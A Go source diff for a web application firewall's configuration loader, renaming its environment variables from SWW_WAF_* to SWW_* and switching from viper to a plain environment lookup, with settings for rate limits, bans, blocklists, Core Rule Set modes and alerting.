CrowdSecDecisionsURL string
|
||||
CrowdSecKey string
|
||||
// BanResponse is the status a refused client is answered with, 403
|
||||
// or 429, or 0 to close the connection without an answer
|
||||
// (SWW_WAF_BAN_RESPONSE). It answers a banned client, a request that
|
||||
// breaks a rate limit or matches a ban rule, SWW_WAF_DENY_NETS,
|
||||
// SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_WAF_TAG_DENY.
|
||||
// (SWW_BAN_RESPONSE). It answers a banned client, a request that
|
||||
// breaks a rate limit or matches a ban rule, SWW_DENY_NETS,
|
||||
// SWW_EXCLUSIVELY_ALLOWED_COUNTRIES and SWW_TAG_DENY.
|
||||
BanResponse int
|
||||
// LimitBanDuration is the ban for a first broken rate limit
|
||||
// (SWW_WAF_LIMIT_BAN_DURATION). A limit broken again within
|
||||
// (SWW_LIMIT_BAN_DURATION). A limit broken again within
|
||||
// LimitBanRepeatWindow after the last ban ended bans for three times
|
||||
// as long as that ban (SWW_WAF_LIMIT_BAN_REPEAT_WINDOW), and a ban that
|
||||
// as long as that ban (SWW_LIMIT_BAN_REPEAT_WINDOW), and a ban that
|
||||
// would be longer than MaxBanDuration is permanent instead
|
||||
// (SWW_WAF_MAX_BAN_DURATION). None of them can be off.
|
||||
// (SWW_MAX_BAN_DURATION). None of them can be off.
|
||||
LimitBanDuration time.Duration
|
||||
LimitBanRepeatWindow time.Duration
|
||||
MaxBanDuration time.Duration
|
||||
// AttackBanDuration is the ban for a first clear sign of attack
|
||||
// (SWW_WAF_ATTACK_BAN_DURATION). It cannot be off.
|
||||
// (SWW_ATTACK_BAN_DURATION). It cannot be off.
|
||||
AttackBanDuration time.Duration
|
||||
// MaxBans is the most bans held (SWW_WAF_MAX_BANS).
|
||||
// MaxBans is the most bans held (SWW_MAX_BANS).
|
||||
MaxBans int
|
||||
// BanScopeV4Prefix is the length of the netblock around an IPv4
|
||||
// client that a ban covers (SWW_WAF_BAN_SCOPE_V4_PREFIX).
|
||||
// client that a ban covers (SWW_BAN_SCOPE_V4_PREFIX).
|
||||
BanScopeV4Prefix int
|
||||
// StateDir is the directory of the state files, an absolute path
|
||||
// (SWW_WAF_STATE_DIR). bans.json is written StateWriteDelay after a ban
|
||||
// is made (SWW_WAF_STATE_WRITE_DELAY), and every state file every
|
||||
// StateCounterInterval (SWW_WAF_STATE_COUNTER_INTERVAL). Neither can be
|
||||
// (SWW_STATE_DIR). bans.json is written StateWriteDelay after a ban
|
||||
// is made (SWW_STATE_WRITE_DELAY), and every state file every
|
||||
// StateCounterInterval (SWW_STATE_COUNTER_INTERVAL). Neither can be
|
||||
// off.
|
||||
StateDir string
|
||||
StateWriteDelay time.Duration
|
||||
StateCounterInterval time.Duration
|
||||
// LogRequestHeaders are the request headers whose values the request
|
||||
// log gives, in lower case (SWW_WAF_LOG_REQUEST_HEADERS).
|
||||
// log gives, in lower case (SWW_LOG_REQUEST_HEADERS).
|
||||
LogRequestHeaders []string
|
||||
// LogLevel is the least severe of the process's own messages that are
|
||||
// written (SWW_WAF_LOG_LEVEL). It holds back no request log line.
|
||||
// written (SWW_LOG_LEVEL). It holds back no request log line.
|
||||
LogLevel slog.Level
|
||||
// AdminToken is the bearer token an admin sends for the ban endpoints
|
||||
// and /_sww/clients/<ip> (SWW_WAF_ADMIN_TOKEN), "" while it is
|
||||
// and /_sww/clients/<ip> (SWW_ADMIN_TOKEN), "" while it is
|
||||
// unset and they are off.
|
||||
AdminToken string
|
||||
// MetricsToken is the bearer token a scraper sends for the metrics
|
||||
// (SWW_WAF_METRICS_TOKEN), "" while it is unset and the metrics are off.
|
||||
// (SWW_METRICS_TOKEN), "" while it is unset and the metrics are off.
|
||||
// MetricsTopN is how many AS numbers and how many countries get series
|
||||
// of their own in the metrics (SWW_WAF_METRICS_TOP_N).
|
||||
// of their own in the metrics (SWW_METRICS_TOP_N).
|
||||
MetricsToken string
|
||||
MetricsTopN int
|
||||
// RulesDir is the directory of the rule files (SWW_WAF_RULES_DIR), read
|
||||
// unless RulesEnabled is false (SWW_WAF_RULES_ENABLED).
|
||||
// RulesDir is the directory of the rule files (SWW_RULES_DIR), read
|
||||
// unless RulesEnabled is false (SWW_RULES_ENABLED).
|
||||
RulesDir string
|
||||
RulesEnabled bool
|
||||
// WAFMode is what the Core Rule Set does (SWW_WAF_CORE_RULE_SET_MODE): WAFModeOff,
|
||||
// WAFMode is what the Core Rule Set does (SWW_WAF_MODE): WAFModeOff,
|
||||
// WAFModeDetect or WAFModeBlock. WAFParanoiaLevel is its paranoia
|
||||
// level, from 1 to 4 (SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL), and
|
||||
// level, from 1 to 4 (SWW_WAF_PARANOIA_LEVEL), and
|
||||
// WAFAnomalyThreshold the anomaly score at which a request is a match
|
||||
// (SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
|
||||
// are the ids of its rules switched off (SWW_WAF_CORE_RULE_SET_DISABLED_RULES),
|
||||
// (SWW_WAF_ANOMALY_THRESHOLD), 0 while it is off. WAFDisabledRules
|
||||
// are the ids of its rules switched off (SWW_WAF_DISABLED_RULES),
|
||||
// WAFExemptPaths the path prefixes it does not inspect
|
||||
// (SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
|
||||
// it reads (SWW_WAF_CORE_RULE_SET_BODY_LIMIT), 0 while it is off and it reads none.
|
||||
// (SWW_WAF_EXEMPT_PATHS), and WAFBodyLimit the most of a request body
|
||||
// it reads (SWW_WAF_BODY_LIMIT), 0 while it is off and it reads none.
|
||||
// CoreRuleSetExclusionsFile is the path of the file of its exclusions
|
||||
// (SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none.
|
||||
// (SWW_CORE_RULE_SET_EXCLUSIONS_FILE), "" while there is none.
|
||||
WAFMode string
|
||||
WAFParanoiaLevel int
|
||||
WAFAnomalyThreshold int
|
||||
@@ -237,21 +236,21 @@ type Config struct {
|
||||
WAFBodyLimit int64
|
||||
CoreRuleSetExclusionsFile string
|
||||
// TrapPaths are the paths a request for which is a clear sign of
|
||||
// attack (SWW_WAF_TRAP_PATHS), each starting with / and without a ?.
|
||||
// attack (SWW_TRAP_PATHS), each starting with / and without a ?.
|
||||
TrapPaths []string
|
||||
// ErrorBurstThreshold is the most requests of a client within a minute
|
||||
// that discriminator may refuse after a rule file or Core Rule Set match; one
|
||||
// more breaks a limit (SWW_WAF_ERROR_BURST_THRESHOLD). 0 is off.
|
||||
// more breaks a limit (SWW_ERROR_BURST_THRESHOLD). 0 is off.
|
||||
ErrorBurstThreshold int64
|
||||
// LogRemoteURL is where every line on stdout is also sent
|
||||
// (SWW_WAF_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
|
||||
// (SWW_LOG_REMOTE_URL), nil while it is unset and nothing is sent.
|
||||
// LogRemoteTLSCAs are the certificates a syslog+tls endpoint's
|
||||
// certificate must chain to (SWW_WAF_LOG_REMOTE_TLS_CA_FILE), nil while
|
||||
// certificate must chain to (SWW_LOG_REMOTE_TLS_CA_FILE), nil while
|
||||
// it is unset and the host's own are used. LogRemoteBuffer is the most
|
||||
// lines held while they wait to be sent (SWW_WAF_LOG_REMOTE_BUFFER).
|
||||
// lines held while they wait to be sent (SWW_LOG_REMOTE_BUFFER).
|
||||
// LogRemoteFacility is the number of the syslog facility
|
||||
// (SWW_WAF_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME
|
||||
// (SWW_WAF_LOG_REMOTE_APP_NAME, by default InstanceName), of the records
|
||||
// (SWW_LOG_REMOTE_FACILITY), and LogRemoteAppName the APP-NAME
|
||||
// (SWW_LOG_REMOTE_APP_NAME, by default InstanceName), of the records
|
||||
// the lines are sent in.
|
||||
LogRemoteURL *url.URL
|
||||
LogRemoteTLSCAs *x509.CertPool
|
||||
@@ -259,18 +258,18 @@ type Config struct {
|
||||
LogRemoteFacility int
|
||||
LogRemoteAppName string
|
||||
// AlertWebhookURL is where each alert is posted as JSON
|
||||
// (SWW_WAF_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders
|
||||
// are sent with each (SWW_WAF_ALERT_WEBHOOK_HEADERS).
|
||||
// (SWW_ALERT_WEBHOOK_URL), nil while it is unset. AlertWebhookHeaders
|
||||
// are sent with each (SWW_ALERT_WEBHOOK_HEADERS).
|
||||
// AlertSlackWebhookURL is the Slack incoming webhook each alert is
|
||||
// posted to as a message (SWW_WAF_ALERT_SLACK_WEBHOOK_URL), and
|
||||
// posted to as a message (SWW_ALERT_SLACK_WEBHOOK_URL), and
|
||||
// AlertNtfyURL the ntfy topic each is published to
|
||||
// (SWW_WAF_ALERT_NTFY_URL), each nil while it is unset; AlertNtfyToken,
|
||||
// unless empty, is sent to ntfy with each (SWW_WAF_ALERT_NTFY_TOKEN).
|
||||
// (SWW_ALERT_NTFY_URL), each nil while it is unset; AlertNtfyToken,
|
||||
// unless empty, is sent to ntfy with each (SWW_ALERT_NTFY_TOKEN).
|
||||
// With none of the three URLs set, no alert is sent. AlertEvents are
|
||||
// the events alerts are sent for (SWW_WAF_ALERT_EVENTS). A repeat of an
|
||||
// alert within AlertCooldown is held back (SWW_WAF_ALERT_COOLDOWN), and
|
||||
// the events alerts are sent for (SWW_ALERT_EVENTS). A repeat of an
|
||||
// alert within AlertCooldown is held back (SWW_ALERT_COOLDOWN), and
|
||||
// so is an alert past AlertMaxPerHour in an hour, for the hour's
|
||||
// summary (SWW_WAF_ALERT_MAX_PER_HOUR); 0 is off for both.
|
||||
// summary (SWW_ALERT_MAX_PER_HOUR); 0 is off for both.
|
||||
AlertWebhookURL *url.URL
|
||||
AlertWebhookHeaders http.Header
|
||||
AlertSlackWebhookURL *url.URL
|
||||
@@ -280,14 +279,14 @@ type Config struct {
|
||||
AlertCooldown time.Duration
|
||||
AlertMaxPerHour int
|
||||
// The anomaly thresholds, which only raise alerts: the most requests
|
||||
// and bytes a minute and an hour per client (SWW_WAF_ANOMALY_CLIENT_*),
|
||||
// per netblock around a client (SWW_WAF_ANOMALY_NET_*), per AS number
|
||||
// (SWW_WAF_ANOMALY_ASN_*), for the whole service (SWW_WAF_ANOMALY_TOTAL_*)
|
||||
// and per named netblock (SWW_WAF_WATCH_*), each 0 while it is off.
|
||||
// and bytes a minute and an hour per client (SWW_ANOMALY_CLIENT_*),
|
||||
// per netblock around a client (SWW_ANOMALY_NET_*), per AS number
|
||||
// (SWW_ANOMALY_ASN_*), for the whole service (SWW_ANOMALY_TOTAL_*)
|
||||
// and per named netblock (SWW_WATCH_*), each 0 while it is off.
|
||||
// AnomalyNetV4Prefix and AnomalyNetV6Prefix are the lengths of the
|
||||
// netblock around a client (SWW_WAF_ANOMALY_NET_V4_PREFIX and
|
||||
// SWW_WAF_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks
|
||||
// (SWW_WAF_WATCH_NETS).
|
||||
// netblock around a client (SWW_ANOMALY_NET_V4_PREFIX and
|
||||
// SWW_ANOMALY_NET_V6_PREFIX), and WatchNets the named netblocks
|
||||
// (SWW_WATCH_NETS).
|
||||
AnomalyClient anomaly.Thresholds
|
||||
AnomalyNet anomaly.Thresholds
|
||||
AnomalyASN anomaly.Thresholds
|
||||
@@ -306,7 +305,7 @@ type Config struct {
|
||||
// off.
|
||||
const off = "off"
|
||||
|
||||
// The values of SWW_WAF_CORE_RULE_SET_MODE.
|
||||
// The values of SWW_WAF_MODE.
|
||||
const (
|
||||
// WAFModeOff runs no request through the Core Rule Set.
|
||||
WAFModeOff = off
|
||||
@@ -316,8 +315,8 @@ const (
|
||||
WAFModeBlock = "block"
|
||||
)
|
||||
|
||||
// fileSource is the SWW_WAF_LOOKUP_SOURCE that looks clients up in the
|
||||
// lookup database, the file SWW_WAF_LOOKUP_DB_PATH names.
|
||||
// fileSource is the SWW_LOOKUP_SOURCE that looks clients up in the
|
||||
// lookup database, the file SWW_LOOKUP_DB_PATH names.
|
||||
const fileSource = "file"
|
||||
|
||||
const (
|
||||
@@ -327,7 +326,7 @@ const (
|
||||
gibibyte = 1 << 30
|
||||
ipv4Bits = 32
|
||||
ipv6Bits = 128
|
||||
// minIPv6GroupPrefix is the shortest SWW_WAF_IPV6_GROUP_PREFIX, the
|
||||
// minIPv6GroupPrefix is the shortest SWW_IPV6_GROUP_PREFIX, the
|
||||
// netblock a provider is usually given: a shorter one would make one
|
||||
// client of the customers of several providers.
|
||||
minIPv6GroupPrefix = 32
|
||||
@@ -344,8 +343,8 @@ const (
|
||||
// masked is what the log shows for a token that is set, and in place of
|
||||
// a secret in another setting.
|
||||
masked = "********"
|
||||
// defaultListenAddr is the default of SWW_WAF_LISTEN_ADDR and
|
||||
// SWW_RPROXY_LISTEN_ADDR, and defaultUpstreamURL that of SWW_RPROXY_UPSTREAM_URL.
|
||||
// defaultListenAddr is the default of SWW_LISTEN_ADDR and
|
||||
// SWRP_LISTEN_ADDR, and defaultUpstreamURL that of SWRP_UPSTREAM_URL.
|
||||
defaultListenAddr = ":8080"
|
||||
defaultUpstreamURL = "http://127.0.0.1:8081"
|
||||
)
|
||||
@@ -373,7 +372,7 @@ var (
|
||||
errHeaderTakenOut = errors.New(
|
||||
"is taken out of every request by Go's HTTP server, so it can never " +
|
||||
"be logged")
|
||||
errOnBothLists = errors.New("is in SWW_WAF_TAG_DENY too")
|
||||
errOnBothLists = errors.New("is in SWW_TAG_DENY too")
|
||||
errNotLookupSource = errors.New("is not geojs, file or off")
|
||||
errNeedsLookups = errors.New("it needs each client looked up")
|
||||
errNeedsDBPath = errors.New("it names the file to look clients up in")
|
||||
@@ -449,7 +448,7 @@ var (
|
||||
errNotListURL = errors.New(
|
||||
"is not an http or https URL without a user or a fragment, " +
|
||||
"such as https://www.spamhaus.org/drop/drop.txt")
|
||||
errInBlocklistURLs = errors.New("is in SWW_WAF_BLOCKLIST_URLS too")
|
||||
errInBlocklistURLs = errors.New("is in SWW_BLOCKLIST_URLS too")
|
||||
errNotAnHourOrMore = errors.New("is not a duration of 1h or more, such as 24h")
|
||||
errNotAction = errors.New(
|
||||
"is not deny, limit:<percent> such as limit:25, or log")
|
||||
@@ -473,9 +472,9 @@ var (
|
||||
errNeedsLAPIKey = errors.New("the engine answers no request without it")
|
||||
errLAPIKeyUnused = errors.New("it is sent only to the engine at that URL")
|
||||
errAnotherList = errors.New(
|
||||
"is in SWW_WAF_BLOCKLIST_URLS or is SWW_WAF_ASN_LIMIT_PERCENT_URL too")
|
||||
errFetchedOtherwise = errors.New("is in SWW_WAF_BLOCKLIST_URLS, is " +
|
||||
"SWW_WAF_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too")
|
||||
"is in SWW_BLOCKLIST_URLS or is SWW_ASN_LIMIT_PERCENT_URL too")
|
||||
errFetchedOtherwise = errors.New("is in SWW_BLOCKLIST_URLS, is " +
|
||||
"SWW_ASN_LIMIT_PERCENT_URL or is the CrowdSec decision list too")
|
||||
errNotTagList = errors.New(
|
||||
"is not a name, = and an http or https URL, such as " +
|
||||
"torexit=https://example.com/tor.txt")
|
||||
@@ -491,123 +490,124 @@ var (
|
||||
errCrowdSecTag = errors.New(
|
||||
"cannot be used: a CrowdSec decision refuses the request first")
|
||||
errNoRequestGetsTag = errors.New(
|
||||
"is a tag no request can get: it is not a name in SWW_WAF_TAG_LISTS, an " +
|
||||
"asn= or country= tag, a dnsbl= tag of a zone in SWW_WAF_DNSBL_ZONES, " +
|
||||
"a prefix= tag with SWW_WAF_ROUTEWATCH_URL set, abuseipdb with " +
|
||||
"SWW_WAF_ABUSEIPDB_KEY set, or exploitsignature with rule files or the " +
|
||||
"is a tag no request can get: it is not a name in SWW_TAG_LISTS, an " +
|
||||
"asn= or country= tag, a dnsbl= tag of a zone in SWW_DNSBL_ZONES, " +
|
||||
"a prefix= tag with SWW_ROUTEWATCH_URL set, abuseipdb with " +
|
||||
"SWW_ABUSEIPDB_KEY set, or exploitsignature with rule files or the " +
|
||||
"Core Rule Set on")
|
||||
)
|
||||
|
||||
// FromEnvironment reads the settings through v, normally the viper
|
||||
// NewViper returns, bound to the process's environment. A setting may
|
||||
// instead be given as a file: the variable named by the setting's name
|
||||
// with _FILE added names the file, which is read now (see lookup). A
|
||||
// setting that is not set takes its default. A setting that is set but
|
||||
// invalid is an error that names it.
|
||||
// FromEnvironment reads the settings with lookupEnv, normally
|
||||
// os.LookupEnv. A setting may instead be given as a file: the variable
|
||||
// named by the setting's name with _FILE added names the file, which is
|
||||
// read now (see lookup). A setting that is not set takes its default. A
|
||||
// setting that is set but invalid is an error that names it.
|
||||
//
|
||||
//nolint:funlen // one line for each setting, a list that grows with them
|
||||
func FromEnvironment(v *viper.Viper) (*Config, error) {
|
||||
env := &environment{v: v}
|
||||
func FromEnvironment(
|
||||
lookupEnv func(string) (string, bool),
|
||||
) (*Config, error) {
|
||||
env := &environment{lookupEnv: lookupEnv}
|
||||
cfg := &Config{
|
||||
ListenAddr: env.address("SWW_WAF_LISTEN_ADDR"),
|
||||
ListenAddr: env.address("SWW_LISTEN_ADDR"),
|
||||
InstanceName: env.instanceName(),
|
||||
Observe: env.observe("SWW_WAF_MODE", "enforce"),
|
||||
IPv6GroupPrefix: env.ipv6GroupPrefix("SWW_WAF_IPV6_GROUP_PREFIX", "64"),
|
||||
MaxTrackedClients: env.numberNotOff("SWW_WAF_MAX_TRACKED_CLIENTS", "20000"),
|
||||
AllowNets: env.netblocks("SWW_WAF_ALLOW_NETS", ""),
|
||||
RateLimitExemptNets: env.netblocks("SWW_WAF_RATE_LIMIT_EXEMPT_NETS", ""),
|
||||
DenyNets: env.netblocks("SWW_WAF_DENY_NETS", ""),
|
||||
RateLimitPerMinute: env.count("SWW_WAF_RATE_LIMIT_PER_MINUTE", "120"),
|
||||
RateLimitPerHour: env.count("SWW_WAF_RATE_LIMIT_PER_HOUR", "1500"),
|
||||
RateLimitPerDay: env.count("SWW_WAF_RATE_LIMIT_PER_DAY", "6000"),
|
||||
RateLimitExemptPaths: env.pathPrefixes("SWW_WAF_RATE_LIMIT_EXEMPT_PATHS", ""),
|
||||
BytesLimitPerMinute: env.size("SWW_WAF_BYTES_LIMIT_PER_MINUTE", "off"),
|
||||
BytesLimitPerHour: env.size("SWW_WAF_BYTES_LIMIT_PER_HOUR", "50G"),
|
||||
BytesLimitPerDay: env.size("SWW_WAF_BYTES_LIMIT_PER_DAY", "100G"),
|
||||
BytesCount: env.bytesCount("SWW_WAF_BYTES_COUNT", "both"),
|
||||
LookupSource: env.lookupSource("SWW_WAF_LOOKUP_SOURCE", "geojs"),
|
||||
LookupDBPath: env.value("SWW_WAF_LOOKUP_DB_PATH", ""),
|
||||
LookupTimeout: env.durationNotOff("SWW_WAF_LOOKUP_TIMEOUT", "800ms"),
|
||||
AddLookupHeaders: env.boolean("SWW_WAF_ADD_LOOKUP_HEADERS", "false"),
|
||||
Observe: env.observe("SWW_MODE", "enforce"),
|
||||
IPv6GroupPrefix: env.ipv6GroupPrefix("SWW_IPV6_GROUP_PREFIX", "64"),
|
||||
MaxTrackedClients: env.numberNotOff("SWW_MAX_TRACKED_CLIENTS", "20000"),
|
||||
AllowNets: env.netblocks("SWW_ALLOW_NETS", ""),
|
||||
RateLimitExemptNets: env.netblocks("SWW_RATE_LIMIT_EXEMPT_NETS", ""),
|
||||
DenyNets: env.netblocks("SWW_DENY_NETS", ""),
|
||||
RateLimitPerMinute: env.count("SWW_RATE_LIMIT_PER_MINUTE", "120"),
|
||||
RateLimitPerHour: env.count("SWW_RATE_LIMIT_PER_HOUR", "1500"),
|
||||
RateLimitPerDay: env.count("SWW_RATE_LIMIT_PER_DAY", "6000"),
|
||||
RateLimitExemptPaths: env.pathPrefixes("SWW_RATE_LIMIT_EXEMPT_PATHS", ""),
|
||||
BytesLimitPerMinute: env.size("SWW_BYTES_LIMIT_PER_MINUTE", "off"),
|
||||
BytesLimitPerHour: env.size("SWW_BYTES_LIMIT_PER_HOUR", "50G"),
|
||||
BytesLimitPerDay: env.size("SWW_BYTES_LIMIT_PER_DAY", "100G"),
|
||||
BytesCount: env.bytesCount("SWW_BYTES_COUNT", "both"),
|
||||
LookupSource: env.lookupSource("SWW_LOOKUP_SOURCE", "geojs"),
|
||||
LookupDBPath: env.value("SWW_LOOKUP_DB_PATH", ""),
|
||||
LookupTimeout: env.durationNotOff("SWW_LOOKUP_TIMEOUT", "800ms"),
|
||||
AddLookupHeaders: env.boolean("SWW_ADD_LOOKUP_HEADERS", "false"),
|
||||
ExclusivelyAllowedCountries: env.countries(
|
||||
"SWW_WAF_EXCLUSIVELY_ALLOWED_COUNTRIES", ""),
|
||||
TagLists: env.tagLists("SWW_WAF_TAG_LISTS"),
|
||||
TagDeny: env.tags("SWW_WAF_TAG_DENY"),
|
||||
TagLimitPercent: env.tagPercents("SWW_WAF_TAG_LIMIT_PERCENT"),
|
||||
RouteWatchURL: env.routeWatchURL("SWW_WAF_ROUTEWATCH_URL"),
|
||||
ASNBytesPercent: env.percents("SWW_WAF_ASN_BYTES_PERCENT", ParseASN),
|
||||
CountryBytesPercent: env.percents("SWW_WAF_COUNTRY_BYTES_PERCENT", parseCountry),
|
||||
UnknownLimitPercent: env.percent("SWW_WAF_UNKNOWN_LIMIT_PERCENT", "100"),
|
||||
ASNLimitPercentURL: env.listURL("SWW_WAF_ASN_LIMIT_PERCENT_URL"),
|
||||
BlocklistURLs: env.listURLs("SWW_WAF_BLOCKLIST_URLS"),
|
||||
BlocklistRefresh: env.refresh("SWW_WAF_BLOCKLIST_REFRESH", "24h"),
|
||||
DNSBLZones: env.zones("SWW_WAF_DNSBL_ZONES"),
|
||||
DNSBLResolver: env.resolver("SWW_WAF_DNSBL_RESOLVER"),
|
||||
AbuseIPDBKey: env.secret("SWW_WAF_ABUSEIPDB_KEY"),
|
||||
AbuseIPDBMinScore: env.percent("SWW_WAF_ABUSEIPDB_MIN_SCORE", "75"),
|
||||
AbuseIPDBDailyBudget: env.numberNotOff("SWW_WAF_ABUSEIPDB_DAILY_BUDGET", "900"),
|
||||
ReputationCacheTTL: env.durationNotOff("SWW_WAF_REPUTATION_CACHE_TTL", "24h"),
|
||||
ReputationTimeout: env.durationNotOff("SWW_WAF_REPUTATION_TIMEOUT", "2s"),
|
||||
CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWW_WAF_CROWDSEC_LAPI_URL"),
|
||||
CrowdSecKey: env.secret("SWW_WAF_CROWDSEC_LAPI_KEY"),
|
||||
BanResponse: env.banResponse("SWW_WAF_BAN_RESPONSE", "403"),
|
||||
LimitBanDuration: env.durationNotOff("SWW_WAF_LIMIT_BAN_DURATION", "1h"),
|
||||
LimitBanRepeatWindow: env.durationNotOff("SWW_WAF_LIMIT_BAN_REPEAT_WINDOW", "24h"),
|
||||
MaxBanDuration: env.durationNotOff("SWW_WAF_MAX_BAN_DURATION", "7d"),
|
||||
AttackBanDuration: env.durationNotOff("SWW_WAF_ATTACK_BAN_DURATION", "7d"),
|
||||
MaxBans: env.numberNotOff("SWW_WAF_MAX_BANS", "5000"),
|
||||
BanScopeV4Prefix: env.v4Prefix("SWW_WAF_BAN_SCOPE_V4_PREFIX", "32"),
|
||||
StateDir: env.absolutePath("SWW_WAF_STATE_DIR", "/var/lib/sww"),
|
||||
StateWriteDelay: env.durationNotOff("SWW_WAF_STATE_WRITE_DELAY", "10s"),
|
||||
StateCounterInterval: env.durationNotOff("SWW_WAF_STATE_COUNTER_INTERVAL", "15m"),
|
||||
LogRequestHeaders: env.headerNames("SWW_WAF_LOG_REQUEST_HEADERS",
|
||||
"SWW_EXCLUSIVELY_ALLOWED_COUNTRIES", ""),
|
||||
TagLists: env.tagLists("SWW_TAG_LISTS"),
|
||||
TagDeny: env.tags("SWW_TAG_DENY"),
|
||||
TagLimitPercent: env.tagPercents("SWW_TAG_LIMIT_PERCENT"),
|
||||
RouteWatchURL: env.routeWatchURL("SWW_ROUTEWATCH_URL"),
|
||||
ASNBytesPercent: env.percents("SWW_ASN_BYTES_PERCENT", ParseASN),
|
||||
CountryBytesPercent: env.percents("SWW_COUNTRY_BYTES_PERCENT", parseCountry),
|
||||
UnknownLimitPercent: env.percent("SWW_UNKNOWN_LIMIT_PERCENT", "100"),
|
||||
ASNLimitPercentURL: env.listURL("SWW_ASN_LIMIT_PERCENT_URL"),
|
||||
BlocklistURLs: env.listURLs("SWW_BLOCKLIST_URLS"),
|
||||
BlocklistRefresh: env.refresh("SWW_BLOCKLIST_REFRESH", "24h"),
|
||||
DNSBLZones: env.zones("SWW_DNSBL_ZONES"),
|
||||
DNSBLResolver: env.resolver("SWW_DNSBL_RESOLVER"),
|
||||
AbuseIPDBKey: env.secret("SWW_ABUSEIPDB_KEY"),
|
||||
AbuseIPDBMinScore: env.percent("SWW_ABUSEIPDB_MIN_SCORE", "75"),
|
||||
AbuseIPDBDailyBudget: env.numberNotOff("SWW_ABUSEIPDB_DAILY_BUDGET", "900"),
|
||||
ReputationCacheTTL: env.durationNotOff("SWW_REPUTATION_CACHE_TTL", "24h"),
|
||||
ReputationTimeout: env.durationNotOff("SWW_REPUTATION_TIMEOUT", "2s"),
|
||||
CrowdSecDecisionsURL: env.crowdSecDecisionsURL("SWW_CROWDSEC_LAPI_URL"),
|
||||
CrowdSecKey: env.secret("SWW_CROWDSEC_LAPI_KEY"),
|
||||
BanResponse: env.banResponse("SWW_BAN_RESPONSE", "403"),
|
||||
LimitBanDuration: env.durationNotOff("SWW_LIMIT_BAN_DURATION", "1h"),
|
||||
LimitBanRepeatWindow: env.durationNotOff("SWW_LIMIT_BAN_REPEAT_WINDOW", "24h"),
|
||||
MaxBanDuration: env.durationNotOff("SWW_MAX_BAN_DURATION", "7d"),
|
||||
AttackBanDuration: env.durationNotOff("SWW_ATTACK_BAN_DURATION", "7d"),
|
||||
MaxBans: env.numberNotOff("SWW_MAX_BANS", "5000"),
|
||||
BanScopeV4Prefix: env.v4Prefix("SWW_BAN_SCOPE_V4_PREFIX", "32"),
|
||||
StateDir: env.absolutePath("SWW_STATE_DIR", "/var/lib/sww"),
|
||||
StateWriteDelay: env.durationNotOff("SWW_STATE_WRITE_DELAY", "10s"),
|
||||
StateCounterInterval: env.durationNotOff("SWW_STATE_COUNTER_INTERVAL", "15m"),
|
||||
LogRequestHeaders: env.headerNames("SWW_LOG_REQUEST_HEADERS",
|
||||
"accept,accept-language,accept-encoding,content-type,origin,range"),
|
||||
LogLevel: env.logLevel("SWW_WAF_LOG_LEVEL", "info"),
|
||||
AdminToken: env.token("SWW_WAF_ADMIN_TOKEN"),
|
||||
MetricsToken: env.token("SWW_WAF_METRICS_TOKEN"),
|
||||
MetricsTopN: env.numberNotOff("SWW_WAF_METRICS_TOP_N", "50"),
|
||||
RulesDir: env.value("SWW_WAF_RULES_DIR", "/etc/sww/rules.d"),
|
||||
RulesEnabled: env.boolean("SWW_WAF_RULES_ENABLED", "true"),
|
||||
WAFMode: env.wafMode("SWW_WAF_CORE_RULE_SET_MODE", WAFModeBlock),
|
||||
WAFParanoiaLevel: env.paranoiaLevel("SWW_WAF_CORE_RULE_SET_PARANOIA_LEVEL", "1"),
|
||||
WAFAnomalyThreshold: env.numberOrOff("SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD", "5"),
|
||||
WAFDisabledRules: env.ruleIDs("SWW_WAF_CORE_RULE_SET_DISABLED_RULES",
|
||||
LogLevel: env.logLevel("SWW_LOG_LEVEL", "info"),
|
||||
AdminToken: env.token("SWW_ADMIN_TOKEN"),
|
||||
MetricsToken: env.token("SWW_METRICS_TOKEN"),
|
||||
MetricsTopN: env.numberNotOff("SWW_METRICS_TOP_N", "50"),
|
||||
RulesDir: env.value("SWW_RULES_DIR", "/etc/sww/rules.d"),
|
||||
RulesEnabled: env.boolean("SWW_RULES_ENABLED", "true"),
|
||||
WAFMode: env.wafMode("SWW_WAF_MODE", WAFModeBlock),
|
||||
WAFParanoiaLevel: env.paranoiaLevel("SWW_WAF_PARANOIA_LEVEL", "1"),
|
||||
WAFAnomalyThreshold: env.numberOrOff("SWW_WAF_ANOMALY_THRESHOLD", "5"),
|
||||
WAFDisabledRules: env.ruleIDs("SWW_WAF_DISABLED_RULES",
|
||||
"920340,920420,920440,920640,930130,930140"),
|
||||
WAFExemptPaths: env.pathPrefixes("SWW_WAF_CORE_RULE_SET_EXEMPT_PATHS", ""),
|
||||
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_CORE_RULE_SET_BODY_LIMIT", off),
|
||||
WAFExemptPaths: env.pathPrefixes("SWW_WAF_EXEMPT_PATHS", ""),
|
||||
WAFBodyLimit: env.wafBodyLimit("SWW_WAF_BODY_LIMIT", off),
|
||||
CoreRuleSetExclusionsFile: env.filePath(
|
||||
"SWW_WAF_CORE_RULE_SET_EXCLUSIONS_FILE"),
|
||||
TrapPaths: env.trapPaths("SWW_WAF_TRAP_PATHS"),
|
||||
ErrorBurstThreshold: env.count("SWW_WAF_ERROR_BURST_THRESHOLD", "30"),
|
||||
LogRemoteURL: env.logRemoteURL("SWW_WAF_LOG_REMOTE_URL"),
|
||||
LogRemoteTLSCAs: env.certificates("SWW_WAF_LOG_REMOTE_TLS_CA_FILE"),
|
||||
LogRemoteBuffer: env.numberNotOff("SWW_WAF_LOG_REMOTE_BUFFER", "10000"),
|
||||
LogRemoteFacility: env.facility("SWW_WAF_LOG_REMOTE_FACILITY", "local0"),
|
||||
AlertWebhookURL: env.webhookURL("SWW_WAF_ALERT_WEBHOOK_URL"),
|
||||
AlertWebhookHeaders: env.webhookHeaders("SWW_WAF_ALERT_WEBHOOK_HEADERS"),
|
||||
